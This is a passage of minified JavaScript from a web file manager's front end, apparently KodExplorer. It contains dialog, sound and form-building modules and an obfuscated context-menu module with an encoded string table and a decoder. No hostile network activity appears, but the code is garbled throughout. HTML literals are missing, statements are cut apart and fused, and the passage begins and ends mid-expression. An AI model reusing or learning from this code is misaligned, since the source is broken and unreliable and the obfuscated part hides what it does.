'C.$-,I$"),$(").$)$'#"),$("0)1,(#W$%,.$]$'#"),$("%&1$"),$("0)1,(#G8$+H]&R$"),$("3)(+$L&3L%011"),$("%(#$a04"),$("/).,:.$33"),$("84-1"),$("qCG]`^CKar_F"),$("G,,H&$"),$("0)1,(#9.,:.$33"),$(";SS/SZ"),$("0)1,(#&':L-,I$"),$("U"),$("/#&(1,:C%&1$C0)1,(#O/(0&C4&41$"),$("MO"),$("*"),$("OU"),$("3$4"),$("K&41$"),$("D"),$("/).,:.$33O/).,:.$33CA(."),$("N#&IO+1(33>P).,:.$33O).,:.$33C34.&)$#O(+4&I$PQN#&IO+1(33>P).,:.$33CA(.PO.,1$>P).,:.$33A(.PO34?1$>PB0MOSZPQN*#&IQN*#&IQ"),$("0)1,(#o++$)4"),$("3$.I$.J(4("),$("3$.I$.F$$#`$4.?"),$("0)1,(#]0++$33"),$("&']+.$$'"),36,$("&'#$6"),$("3+.,11K,)"),$("/0)1,(#$.C+,'4$'4"),$("14.&-"),$("/&'%,O/4&41$"),$("0)1,(#L$..,."),$("UstuvV"),$("0)1,(#_..,."),$("&'#$6a%"),$("L.(B"),$("b_..,.OG,#$M;SS;c"),$("b_..,.OG,#$M;SSec"),$("b_..,.OG,#$M;S;Sc"),$("$..,.F0-"),$(".$4.?"),$("NwCC03$.O1,:&'CCQ"),$("1,:&'O$..,.w"),$("0)1,(#L$..,.L844)"),$("(A,.4"),$("0)1,(#^&'&38$#"),$(".$3$4"),$("/%&1$C0)1,(#CA,6O/&4$-/$..,."),$("&']4(4$"),$("#.(:aI$."),$("N#&IO+1(33>P0)1,(#C4&)3PQxxxxxxN#&IQxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#;O-,I$E$%4E,,)PQN*&QxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#ePQN*&QxxxxxxxN&O+1(33>P&+,'C+1,0#O+1,0#lO-,I$E$%4E,,)PQN*&QxxxxxxN*#&IQxxxxxxN#&IO+1(33>P+1,0#C-,I$0)PQN&O+1(33>P-,I$K,)E,,)O&+,'C+&.+1$C(..,BC0)PQN*&QN*#&IQxxxxxxN#&IO+1(33>P-3:PQ"),$("0)1,(#L#.(:L4&)3"),$("N*#&IQxxxxxN*#&IQ"),$("y(3Hz&$B"),$("YB&'#,By(3Hz&$B"),$("Ydek\\%d"),$("S/k"),$("#.(:E$(I$"),$("+1,3$"),$("#.(:J.,)"),$(",.&:&'(1_I$'4"),$("%&1$3"),$("#(4(K.('3%$."),$(")1(?],0'#"),$("#.(:L0)1,(#"),$(":$4J(4("),$("4$64*)1(&'"),$("30A34.&':"),$("())o##7`E"))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var i=arguments,t="",r=0,o=i.length;o>r;r++)if("number"==typeof i[r])t+=n($[0].charAt(i[r]));else for(var c=0,e=i[r].length;e>c;c++)t+=n($[0].charAt(i[r][c].charCodeAt()-35));return t}}(["ghilqds2frpu1xoKvwJ{XkSj4L)@|'ez0/OQFnyGWb=?#%A}3m+,Et&(>8VIHUR^`75:*9\rZ;61?void(e=e.add(a)):void(h?("all"==b?l?c.file.push(i):c.folder.push(i):c.push(i),f=f.add(a)):e=e.add(a))}),e.length>=1&&e.removeClass("select"),l(c)},l=function(a){0==a.length||"all"==b&&0==a.file.length&&0==a.folder.length?f("selectChange",0):f("selectChange",a)}}};return d(),{pathSelect:function(a,b){var d={type:"file",single:!0,allowExt:"",firstPath:!1,makeUrl:!1,title:LNG.path_api_select_file,resize:!0,fixed:!0,top:"50%",ico:core.icon("folder"),lock:!0,background:"#000",animate:!0,opacity:.1,width:900,height:500,callback:function(){}},e={id:"pathSelectApi",ok:function(){if("function"==typeof a.callback){var b=g.DOM.wrap.find(".path-select-input").data("result");if(!b)return void Tips.tips(LNG.error,!1);if(b){var c=b;if(a.single&&"all"!=a.type&&(c=b[0]),a.makeUrl&&"file"==a.type)return i("makeUrl",c),!1;a.callback(c)}else Tips.tips(LNG.error,!1)}},cancel:!0};a=$.extend(d,a),"function"==typeof b&&(a.callback=b),e=$.extend(e,a);var f=G.appHost+"explorer&type=iframe";f+="&forceWap=0&fileSelect="+a.type,f+="&fileSelectSingle="+Number(a.single),f+="&fileSelectAllow="+a.allowExt,a.firstPath&&(f+="&path="+a.firstPath),$(".aui-state-highlight").addClass("disable"),e.content='';var g=$.dialog(e),h='';"file"==a.type&&(h+=''+a.allowExt+""),$(h).insertBefore($(g.DOM.wrap).find(".aui-state-highlight"));var i=function(a,b){var c={type:a,data:b};messengerParent.send(jsonEncode(c))},j=function(b){var c=jsonDecode(b);if(!c||!c.type)return void console.error("parse error!"+b,c);var d=c.type,e=c.data;if("makeUrl"==d)a.callback(e),$.artDialog.list.pathSelectApi.close();else if("selectChange"==d){var f=$(".pathSelectApi"),g=f.find(".path-select-input"),h=f.find(".aui-state-highlight");if(!e)return h.addClass("disable"),g.data("result",!1),void g.val("");h.removeClass("disable");var i="";if(a.single)i=core.pathThis(e[0]);else{var j=e,k=0;"all"==a.type&&(j=e.folder.concat(e.file)),$.each(j,function(a,b){i+='"'+core.pathThis(b)+'", ',k++}),i="["+k+"] "+rtrim(i,", ")}g.data("result",e),g.val(i)}},k=$("#pathSelectFrame").get(0).contentWindow;window.MessagerParentInit?messengerParent.addTarget(k,"ParentPage"):(window.messengerParent=new Messenger("ParentPage",c),messengerParent.addTarget(k,"ParentPage"),messengerParent.listen(j),window.MessagerParentInit=!0)},randomImage:function(a){var b=G.settings.pluginServer+"wallpage/index&lang="+G.lang+"&callback=?";$.getJSON(b,function(b){"function"==typeof a&&a(b)})}}});;define("app/common/core.playSound",[],function(a,b){var c={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},d=function(a){var b=G.staticPath+"others/sound/"+a;Hook.trigger("playSound",b)};return{playSoundFile:d,playSound:function(a){G&&G.userConfig&&"1"==G.userConfig.soundOpen&&setTimeout(function(){d(c[a])},50)}}});;define("app/common/core.formMake",[],function(a,b){var c,d,e,f={user:!1,group:!1,role:!1},g=function(){c=$("#"+d),c.find(".tab-group .tab-item").length>1?h():c.find(".tab-group").addClass("hidden"),c.find(".form-row.form-slider").exists()&&i(),c.find(".form-row.form-dateTime").exists()&&j(),c.find(".form-row.form-color").exists()&&k(),c.find(".form-row.form-fileSelect").exists()&&l(),c.find(".form-row select").exists()&&m(),c.find(".form-row.form-userSelect").exists()&&n(),c.find(".form-row.error [name]").die("change").live("change",function(){$(this).parents(".form-row.error").removeClass("error")}),c.find(".form-userSelect").die("click").live("click",function(){$(this).removeClass("error")})},h=function(){var a=c.find(".tab-content .tab-pane"),b=c.find(".tab-group .tab-item");a.each(function(){var d=$(this).attr("id"),e=c.find("."+d);e.length>0?e.appendTo($(this)):(a.filter("#"+d).remove(),b.find('[data-id="'+d+'"]').parent().remove())}),b.click(function(){b.removeClass("active"),$(this).addClass("active");var c=$(this).find("a").attr("data-id");a.removeClass("active"),a.filter("#"+c).addClass("active")})},i=function(){seajs.use("lib/bootstrap-slider/bootstrap-slider.css"),seajs.use("lib/colorpicker/css/colorpicker.css"),a.async("lib/bootstrap-slider/bootstrap-slider.js",function(){c.find(".form-slider input").slider()})},j=function(){a.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){var a="zh-CN"==G.lang||"zh-TW"==G.lang?"ch":"en";c.find(".form-dateTime input").each(function(){var b=$(this).attr("data-format"),c=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],d=["H","h","i","s","A","a","b","g","G","O","P","c","U"],e=!1,f=!1;b||(b="Y/m/d");for(var g=0;g').before(''+core.iconSmall("group-guest")+"").removeClass("ico_docu").addClass("group_icon").remove(),b.level>=1){var f="";d.before(f)}$("#"+a+" #"+b.tId+"_a").attr("data-group-id",b.id)}},callback:{onClick:function(a,b,c){e(b,c)}}},e=function(b,c){var d=$("#"+c.tId+"_a");if(d.removeClass("curSelectedNode"),a.attr("multiple")){d.toggleClass("this");var e=a.val();$.isArray(e)||(e=[]),d.hasClass("this")?e.push(c.id):e=_.without(e,c.id),$.each(e,function(){var b=a.find("[value="+this+"]");b.detach(),a.append(b)}),a.val(e).trigger("change")}else $("#"+b+" [treenode_a].this").removeClass("this"),d.toggleClass("this"),a.val(c.id).trigger("change"),a.select2("close")},f=function(){var b=a.val(),c=$(".select2-container--open .group-list-tree").attr("id"),d=$.fn.zTree.getZTreeObj(c);$("#"+c+" [treenode_a]").removeClass("this"),"string"==typeof b&&(b=[b]),b&&d&&d.getNodesByFilter(function(a){inArray(b,a.id+"")&&$("#"+a.tId+"_a").addClass("this")})},g=function(a){var b=$(".select2-container--open .group-list-content");b.find(".select2-results__options,.group-list-tree").removeClass("hidden"),"search"==a?b.find(".group-list-tree").addClass("hidden"):b.find(".select2-results__options").addClass("hidden")},h=function(b){var e=function(a){a.unbind("change input").bind("change input",function(){g($(this).val().length>0?"search":"tree")})};if(e(a.attr("multiple")?a.parent().find(".select2-search__field"):$(".select2-container--open .select2-search__field")),$(".select2-container--open .group-list-tree").exists())return f(),void g("tree");a.on("open",function(){f()}).on("select2:unselect",function(a){f()});var h=UUID(),i='
          ';$(i).appendTo(".select2-container--open .select2-results"),$(".select2-container--open .select2-results__options").addClass("hidden").parent().addClass("group-list-content");var j=c(b);$.fn.zTree.init($("#"+h),d,j);var k=$.fn.zTree.getZTreeObj(h);k&&k.expandAll(!0),f(),g("tree")};h(b)},q=function(){var a={},b=[],d=function(a){for(var b={all:"0",user:"",group:"",role:""},c=a.split(";"),d=0;d0){Tips.tips(LNG.PluginConfigNotNull,"warning");var f=c.find(".panel-body"),g=c.find(".form-row.error");if(!g.parents(".tab-pane").hasClass("active")){var h=g.parents(".tab-pane").attr("id");c.find('.tab-group [data-id="'+h+'"]').click()}g.inScreen()||f.animate({scrollTop:g.offset().top-f.offset().top+f.scrollTop()},100),g.find("[name]").first().focus(),g.find(".setting-content").flash(3,100)}return{checked:0==b.length,error:b,result:a}},r=function(b){a.async(b,function(a){a&&($.isFunction(a)?a():"object"==typeof a&&a.hasOwnProperty("main")&&$.isFunction(a.main)&&a.main())})},s=function(a){if("string"==typeof a)return r(file),!1;if($.isPlainObject(a.formStyle)&&a.formStyle.loadFile){var b=a.formStyle.loadFile;"string"==typeof b&&(b=[b]),$.isArray(b)&&$(b).each(function(a,b){r(b)})}e=a,d=UUID();var c=template.compile(tplFormMake),f=c({LNG:LNG,items:a,wrapID:d});return f},t=function(a,b,c){var d=s(a);if(!d)return!1;var e={padding:0,fixed:!0,resize:!0,title:LNG.search,ico:core.icon("config"),width:700,height:510,content:d,okVal:LNG.button_save,ok:function(){var a=q();return a.checked?c(a.result):!1}};if($.isPlainObject(b))for(var f in b)e[f]=b[f];var h=$.dialog(e),i=h.DOM.wrap.find(".aui-title").html();return h.DOM.wrap.find(".modal-title").html(i),g(),h};return{makeHtml:s,bindEvent:g,getFormData:q,initDialog:t}});;var _kod_0x4121=['MVPCjhFo','wrU3wqDDrQ==','MiI4WSc=','w5xewr3Ck8KeGw==','wqF+w4U=','d8ODwrzDgcOK','VyVFw40gLyxrIcO6wro=','w5nDpxttGg==','KsOBwofCq8Kdw74=','HkfDh8KaEMKH','wrVvdcOnwqZdwqfDkAhuw64=','wqd0w5s=','wo9FWQ==','w68kwr9pBGg=','wqk/wqTDrXsw','WAfChj4=','wrdyw4oLwpoP','OcOMwprCvcKW','GxJ9wpTCgMOew5TDilgwwoo=','wotTwovClUnCpMKTwr9kPsKcwp/CqMOewpPCoF8oIm3DjcOwHg57wrM=','w74xwrl+','w4HCncKiw4DDi2M=','YcOuKMK0w6LDkg==','AknClQYDw63CoGDCtlzDu8KswqHDl8OGQMOWBsOTf8OSw4lpOn0Uwr3DnMO7w6tZw4skwr5Xw7fDhMOUw7ESwpJUwqYrw75RbMKmM3l8wqgD','BkfDhsK5DMKSFcOa','HhR9woQ=','w5Jcwr/Co8KXDsOCwp0=','BkfDhsK8EsKSC8OM','w4HCosKNw5rDqQ==','YEYLw5g=','I8KBw5zCvBIKw74dwqbDgXU=','R0/CogUp','wrpnw7hMbw==','wqIRw7QKbw==','UBDCuCdd','VkEXQn4=','SkcnWVJ4wpo0w7DCiMO3w6rCoz0=','A8Kcw4LCpDU=','wqDDhXp4aQ==','w4ZAwrbCo8Ka','BsO2w6hYwrU=','w58UwpJQRw==','K8OQwqfCmsK2','JHfClTpL','di/CpsKLDw==','cCh9w4UC','IcOhwpjCswA=','w7dsfcOHKQ==','IQ9ywpHCqA==','DkHClRbDjWk=','L8ObP8K5wr4=','w5DDoUvCrDk=','AMOjw6Rawoo=','WMKCWMO5TQ==','w77DqUDCijXDrw==','fX7CkAIg','BRtQwqXDmQ==','YMKywr5Jwpg=','dsK3eMO6bw==','YTHCpDRe','BcOswr7CnT8=','S8KsScORdg==','wpVhbcOXwoA=','KsOfwq3Cqhk=','XRrCkyBHwoBkJsKewqLDtQ==','FTRXwqPCoQ==','PnPCtQRh','FjRYw4k+CC4vK8O3wqAs','KcOmw7BNwrs=','D8OFE0k9','FF7Dn2EFw4pkeg==','asOgAcKbw4s=','woFcw6BiQQ==','MsKIw5jCsA8=','wrFHw7tCWA==','wozDjn5aR1XCtHXDpsKowo4yJcKEE8K+w6c=','AMOowofCpi7Dly7Dl8KBw5/Cjg==','MVDCiQZmw53DsmjClj/DuA==','wrZ+w5tAcFjChMKfIsKmOw==','wobCqV3Clw==','Uzl2w44W','IsO6w6tWwoE=','VBbCnDlhwpMsOsKowqfDoGYY','w4bDtCHDhsKQL8O0LcKKw6vDlw==','T8OlwoTCvMOddw==','HlrCiQvDhnZ5wo/DhRod','woXDgnFDe1rDtmE=','VyZ8w5Ao','CD1pwpc=','w43CpcKSw7jDkg==','O8KGw5DCkgk=','XEczUERZwpo=','VcKkXcOk','woJPdsO1fA==','C8OGw6F4wp5uw6hJ','wqdpw4IAwpINUQ==','Xk/CggsZwo3CsmfCrRbDp8Kzw6LCjg==','wphJUMO7asK3w6xX','w5XDtAhbNMOKwoo=','LSDCgsOtw5c=','I8OFKm07','X0PCiQYOwrTCuHs=','wr9+w4UAwoEA','Sk/CiRcIwrI=','WwrDngcyw4EPw4Y=','fcO1JcK3w6DDmVI=','e8Oawp/DjcOVw7M4wpXDoTLCr3UVH8KFwqE=','wpbCrlzClH4TUgUkw6vDgQ==','UMKiXcO0WkdsG8Ohw57Dng==','YyPCncKNNw==','ShbCnilLwpMmJQ==','wqZ0w5lRdlTCn8Kg','MB92wq7CpA==','wqZjw4YkwpQ=','W0EuRUNNwosXw6DDiMOx','w7HCgcOgYH0a','EsOhNUEF','w51waMO9Ag==','wrpldcO0wrdN','NsO0wpjCrcK0','UAfClyFb','IkEKw5jCvA==','BsOHw6tcwoZn','C8OGw6E=','w7wqwqN4D2RmwoHCjxJL','a0oLw4nCkGsoKA==','wrR1w5F3eUHCg8Kh','w5PDowxTJcOKwrsRN3DDpw==','HcOFCsKMwpE=','wqUBw54YYA==','VUsuRG9Bwpo3','ecORwpXDusOcw6o/wos=','wqF+w4YIwoMNYMOwK8Kow6A=','wroxwrjDvHA8ZHrDlMKewo0=','wqNdwpQqaMOJBlpcwp5bbUM=','wqwaw6YqYFtzU1UOQXMawq7CtMKF','DUnDm8KLG8KLDMOyw4/DkiM=','CcOGwojCszM=','ABXCrcO3w78=','MsKLw5/CpwEXw4k8wqLDnHM=','P1rCiQdKw5HDo0jCsD3DrEN3','w6DDilPCtXnDjAXDl3ETw5lOFMKHDR4=','wrB3w4oUwoYmQsOxLw==','RMOgwoHCq8OLV8OVOsK7','ThhDw6Aa','w4vCm8KUw5/DvA==','ccKHw57CvRAKw4UFw6rDn2PCr8OUw5DCiWMRV8OrTBlPHQpNb1hIwqplBcOvP8OrOsOwwp10w5HCmVFKwpPCtgs=','bSrCuHE=','w7fDo0fCiyPDsknDg8K8','IcK7P8Kgw6bDkgAnAsODOsOAw47ClkpdeMO2wrRcwqfDsCjDsQtLIsOHw5DCnQDDl1MRLMKWwrBu','w4TCl8Kgw4nDl3cCFXU=','w7IXwokvQMOTXR4=','KQTDuxkL','bkDClAIm','NsOaw73CpA==','wqsfw7olZw==','G1zCiRs=','VcKkQcOzSw==','w54Ew7/DucOd','w7MgwqNrHnQ=','wovDiHJbSVzDvWU=','w4bCm8Kuw4HDhWoNAw==','fsOOwprCqsKW','w6/CgcOjaH8X','woHDtirDnMKA','GMO9OUASwoJzw4s=','wrd0w5NbZ0U=','C8O0IkkYwoQ=','w714w4QJwoENW8OoZ8K2w7YnMsODL8OOwqom','wozDhmtX','w5BXwrXClMKeF8OFwqPCtnZ9','w6waw7s7d0M=','X8O5MU4Twpw=','w5JbwrjChcKIHMOawovCqg==','w4zDuCDDnA==','w6rDgk3CsQ==','w4ArwqxhDw==','wpzCtVfCjWg=','USRUw4Uh','wpfDvTLDvcO7w7/DmsOJ','asOoIcK9w6bDkkQ3','W08sXURUwpwxw7Y=','asOmIMK8w6XDnUMv','w74mwq5pGW95wqnCkw==','AsOkworCtzjDnDHDv8Kdw4I=','Rm1cBEPCpDVqMcK7T0c3b25iw5ROwobDq8OQUMKrwrXDhAnCvi/DtMKJHmTCjDnCm8OfLcKdw4/CoAVDEMKcQcOMLn/DjA==','w5DDt2E=','T0fCiQ8PwqHCtGI=','w6XDk1DCsXXDhDTCmA==','ZyHCusO6w6o=','TClBw40=','ADIhbA==','GMO6PlgTwohiw6jCo3Jr','wpTCpVbCo3cKVTs=','YCTCu2DDhMK9w7nDi8OuNcK+MVHDsQQpw5rDulE2','XsOUwp7Du8OZ','c0NL','NsONw7fCp3M=','wpPCqFzChA==','w4LDvSLDosKs','CsOzwozCvzg=','w6nDhk7CoVLDlAXCmlAUw4tNGsKO','wrB0w4UTwpAQV8ORL8K1w6Y=','w7vDpUrCmxnDtUfDi8KGKcOqcsK5','CDVuwpfDsxDDj8KzwoTDhMK7w4LDuB1ywrA=','Bzw7eS/DlUguaMK5Uw==','w4Upw6PDhMOcIMOgw6caWMKiwoY=','OXDCjAtx','wppVwoLCiVjCkcKCwpx0fsKa','FRh9wpXCrMOSw4XDqm42wpA2','w7TCrMK2w43DqQ==','fsONwpDCoMKG','SE/ClgIPwqzCsg==','CE/Dm8Kb','wpfCqMK2w4vDrcKLHsKm','O8OEwpHCjcKfw6vDpik=','LsOSwpzCqcKUw6/Dpw==','YH46cGs=','wopfwoDCmF7CncKZwqM=','woHCs1vCh3wOVA==','wo5QYcOSwo4=','DBnDmQESw5cGw441I8K8IFU=','b8Kqwrd/wo3CpA==','D8OaNsKswrHDn8KFNBcvwpw=','MSrCuMOxw7kR','ICDCu8Oqw6oMwoYVwp9pwos=','woZJUsOrSMKnw6c=','dcOQwp/DjMOD','S0ssVEVBwpAo','KiHCscO7w7c7wpQ=','QVzDhxzDj29+wrHCnVYOS8OJVRvCmxHDhMKpEmh+J8OJw4TDosKQwonDhVLDu1tHQ8KNwqnDp8OgZjZxw7zCrQkkw5pAM8OgHMOmClYOwooiBMOhw59fwoXCnUw6ECHDi8OPw5LDqhcUH8OkwpnCj8ONwodOw4HDh8Knw5RawrnCmcKFV8OoEllOHkTDrMKPEQ==','eMKew4nDocKawrQ=','B2HDuMKsNg==','w4nCqBLCg3cKVTt8wqfDksKYKh3Cg8KuwrtXw6jDqA==','AyI4Xzo=','wrdTX8Obwqs=','wqptwq7Cn0k=','w7lwwpTCssKx','wopOwp7ClFPCjg==','dgfCgQRb','w6ICw4TDqcOF','IsOrwpHCl8Kn','ehJAw54l','ecOyP8K4','WwnCg2zDlw==','wpVfwoLCmknCgQ==','FlDCng==','cE4Jw4nCvA==','Ji7CtsO2','T0rChBAewo7CtmTCvQ==','ZMKvwrJowpvChMOpRjw=','IhzCkcOWw6c=','wpbCrVPCk2glRyUk','EBjCl8O8w7s=','R8O5OQwVwpx3w5bCtSE8Ul9CM33CuHVuw5EWwpXDg2dmWsKZABg=','wp9Zw7pmXw==','w4Ytw6DDlA==','JnrCgMKIJQnDi2vDoAbCjWLCp2bCskTCpXXDtH4LfsOnw482wo8yVsKnCsOew5cSTT9xA8KX','UsKuUMOlTExzM8O9','Y8OVw7vDqmPCo2xowoldwqgdw6ARwrPDmsK4KkZTw73CgRvCsTZWwqYpJQ==','wpnDqD/Dk8KbaQ==','P2TCpmTDgMKrwrPDmsKsPMK5eg==','WsOQDsKyw7M=','wpbCrl/CjXoFQjs=','S8Opwo7Cv8OMcQ==','dlLCghx2','w7wtwqRgDm53wqI=','M8OYw6HCvg==','w7fDplDCiyI=','Q8OtwpTCuQ==','I8Kqwr1rwp3Cvg==','wqDDj0HCtn7DjA==','WU0jVFVGwpQ/w7w=','M8ODwprCoA==','F8KjXMOkWg==','w7/DtEHCgyM=','OMObw7zCpU0=','ZMKiwr93worCq8OrQCo=','CcODw6lXwpBuw7hR','wpTColHChWgYTS04','fMK5QMOITA==','wpxvw5gvwoY=','w5ULwoRUOg==','J8Oyw7bCk1Q=','wphKwpzCmFPCjcKiwr4=','HD1Uw4Yn','wrZOwp/CtU4=','woHDvnE=','w5JIwqvChcKVC8OlwoE=','wqJ5a8O2','SEfCkQI=','w5rCo8Kxw4zDqcKRBsKOBEph','wphewojCvlHCiMKFwqI=','Ajo7aQ==','w4FoIw==','Y8Kiwqd6','w7kswqNo','woFUcMOawpM=','woHDk3pbWw==','wo7DjnFS','Lh5swoDDpg==','S8Olw44=','w4zDryrDn8KG','ccKPQsO2SA==','wp9RwrvCskk=','FHLCgBpZ','NsOawoHDnMOewqY7wpHDqjjCtThRWMKTwqHCv8O6w4bDq8KbUURYD3t9ZXQlw6gzI8O5woRPSErCjcOnwrnCisKQwqLDisKew598woZoaGLChQ==','wpZaw4ZMbQ==','YsKBwqZ+wrk=','JybCtMOyw6ATw587wptpw5N0w4HCvcOyw6nDuQ==','UMOceMK7wrjDhsKCCk9jwo0ZO8K3wopEwo/DnWctwpDCiMOzNx0TEA==','wprCvsK2w5/DpMKdP8KmD1E=','w6LDlk7Ct2/DiQ/CmQ==','TsOiwobCtw==','w4zCiXxZRkbDvG7Ds8KLw4YuNcOXE8K3wqLDvsKqw5HDsAjDlMOMwp/Dv2UoYBA=','wrldw6dCdw==','w4bCmMKsw5/DgQ==','Q8OlwoHCtMOXfsKZJsKrW8Og','ZyLCtHjDjsKiwqDCi8OiKA==','DsOLw6RXwp1ow4RXO8OO','w7LDqUXCgj/Dpg/Di8KsKw==','N8OJwpvCu8KA','F8OXwqrCtwA=','GMOyHWc6','wobDtznDosO/w6LDlg==','w4bDqg5eNg==','FRBjwpPCvw==','w7XDkUPCu3/DhQ==','HmvCtDph','CFLClwoKwqfCsns=','XDlQw4Q9AA==','w59RwqjClA==','bMKqwoFDwoo=','NlbChh5sw4LCq0jCkik=','BcODwpnCp8KQw6HDmDvCrg==','CcOwNl4TwoN+','D1DCgQ3Dhn1l','DMO3wozCvGbDmDPDtMKAw57CjA==','bDvCsHrDtsKsw6PCgsOsJw==','w6g3wqx8','EMO1woo=','w5jCuMKrw4o=','DsOLw6RXwp1o','S8OlwpPCrA==','J8OQF8K/wo4=','w5VRwrXChA==','wprDgnJZXlfDmnrDpsK1w5A=','wp9TwoLCmQ==','wonDg3t1RFPDqmU=','w7rCh8Ksw4DDtA==','wpDCg0fChUo=','woNNT8OdZcKiw7BW','LsOeGUgs','XkPCiAwbwqXClGXCuUvDpw==','QcOlwo7CvA=='];(function(_0x2d229d,_0x1a0f4f){var _0x4791e3=function(_0x35c851){while(--_0x35c851){_0x2d229d['push'](_0x2d229d['shift']());}};_0x4791e3(++_0x1a0f4f);}(_kod_0x4121,0x182));var _kod_0x46d5=function(_0x31d508,_0x192c83){_0x31d508=_0x31d508-0x0;var _0x54e27e=_kod_0x4121[_0x31d508];if(_kod_0x46d5['alPeJt']===undefined){(function(){var _0x59794a;try{var _0x4f56db=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x59794a=_0x4f56db();}catch(_0x5b1c5c){_0x59794a=window;}var _0x42da3a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x59794a['atob']||(_0x59794a['atob']=function(_0x205346){var _0x53818a=String(_0x205346)['replace'](/=+$/,'');for(var _0x969ae0=0x0,_0x16cc7b,_0x2d32fd,_0x1b942c=0x0,_0x3ab706='';_0x2d32fd=_0x53818a['charAt'](_0x1b942c++);~_0x2d32fd&&(_0x16cc7b=_0x969ae0%0x4?_0x16cc7b*0x40+_0x2d32fd:_0x2d32fd,_0x969ae0++%0x4)?_0x3ab706+=String['fromCharCode'](0xff&_0x16cc7b>>(-0x2*_0x969ae0&0x6)):0x0){_0x2d32fd=_0x42da3a['indexOf'](_0x2d32fd);}return _0x3ab706;});}());var _0x5a9ecd=function(_0xe26b0,_0x372972){var _0x48f6e8=[],_0x312ba5=0x0,_0x322e96,_0x585eed='',_0x55aa73='';_0xe26b0=atob(_0xe26b0);for(var _0x4f675f=0x0,_0x403772=_0xe26b0['length'];_0x4f675f<_0x403772;_0x4f675f++){_0x55aa73+='%'+('00'+_0xe26b0['charCodeAt'](_0x4f675f)['toString'](0x10))['slice'](-0x2);}_0xe26b0=decodeURIComponent(_0x55aa73);for(var _0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x48f6e8[_0x33fa38]=_0x33fa38;}for(_0x33fa38=0x0;_0x33fa38<0x100;_0x33fa38++){_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38]+_0x372972['charCodeAt'](_0x33fa38%_0x372972['length']))%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;}_0x33fa38=0x0;_0x312ba5=0x0;for(var _0x13fc9d=0x0;_0x13fc9d<_0xe26b0['length'];_0x13fc9d++){_0x33fa38=(_0x33fa38+0x1)%0x100;_0x312ba5=(_0x312ba5+_0x48f6e8[_0x33fa38])%0x100;_0x322e96=_0x48f6e8[_0x33fa38];_0x48f6e8[_0x33fa38]=_0x48f6e8[_0x312ba5];_0x48f6e8[_0x312ba5]=_0x322e96;_0x585eed+=String['fromCharCode'](_0xe26b0['charCodeAt'](_0x13fc9d)^_0x48f6e8[(_0x48f6e8[_0x33fa38]+_0x48f6e8[_0x312ba5])%0x100]);}return _0x585eed;};_kod_0x46d5['GDsDvt']=_0x5a9ecd;_kod_0x46d5['laRHkJ']={};_kod_0x46d5['alPeJt']=!![];}var _0x433411=_kod_0x46d5['laRHkJ'][_0x31d508];if(_0x433411===undefined){if(_kod_0x46d5['gxHisE']===undefined){_kod_0x46d5['gxHisE']=!![];}_0x54e27e=_kod_0x46d5['GDsDvt'](_0x54e27e,_0x192c83);_kod_0x46d5['laRHkJ'][_0x31d508]=_0x54e27e;}else{_0x54e27e=_0x433411;}return _0x54e27e;};define('app/common/rightMenuExtence',[],function(_0x2e0a04,_0xc14c8e){var _0x326a5b={};_0x326a5b[_kod_0x46d5('0x0',']y0&')]=function(_0x4c2152,_0x223f23){return _0x4c2152===_0x223f23;};_0x326a5b['amRqp']='GcIXW';_0x326a5b[_kod_0x46d5('0x1','(26G')]=function(_0xac0739,_0x41d982){return _0xac0739(_0x41d982);};_0x326a5b['hQQTv']='contextMenu';_0x326a5b[_kod_0x46d5('0x2','w@%x')]=function(_0x503bfc,_0x505263){return _0x503bfc&&_0x505263;};_0x326a5b[_kod_0x46d5('0x3','CpJI')]='.disable';_0x326a5b[_kod_0x46d5('0x4','#bfE')]=function(_0x126e60,_0xc1032e){return _0x126e60+_0xc1032e;};_0x326a5b['XPzAM']=_kod_0x46d5('0x5','#bfE');_0x326a5b[_kod_0x46d5('0x6','oApp')]=':not(.menu-not-auto-hidden)';_0x326a5b[_kod_0x46d5('0x7',')b(p')]=_kod_0x46d5('0x8',')Zq2');_0x326a5b[_kod_0x46d5('0x9','$zeB')]=_kod_0x46d5('0xa','GheG');_0x326a5b['mrKSb']=_kod_0x46d5('0xb','tepW');_0x326a5b[_kod_0x46d5('0xc','Ghlq')]=function(_0x4ad72b,_0x3a8578){return _0x4ad72b==_0x3a8578;};_0x326a5b[_kod_0x46d5('0xd','E[tg')]=function(_0x463470,_0x4bc18b){return _0x463470+_0x4bc18b;};_0x326a5b[_kod_0x46d5('0xe','h*gi')]=function(_0x18d522,_0x4c8e70){return _0x18d522+_0x4c8e70;};_0x326a5b[_kod_0x46d5('0xf','gz7W')]=function(_0x4a16b4,_0x149b87){return _0x4a16b4+_0x149b87;};_0x326a5b[_kod_0x46d5('0x10','amMN')]=''),h(f[_kod_0x46d5('0x7b','a0nd')]))+''+_0x483f12,'');}var 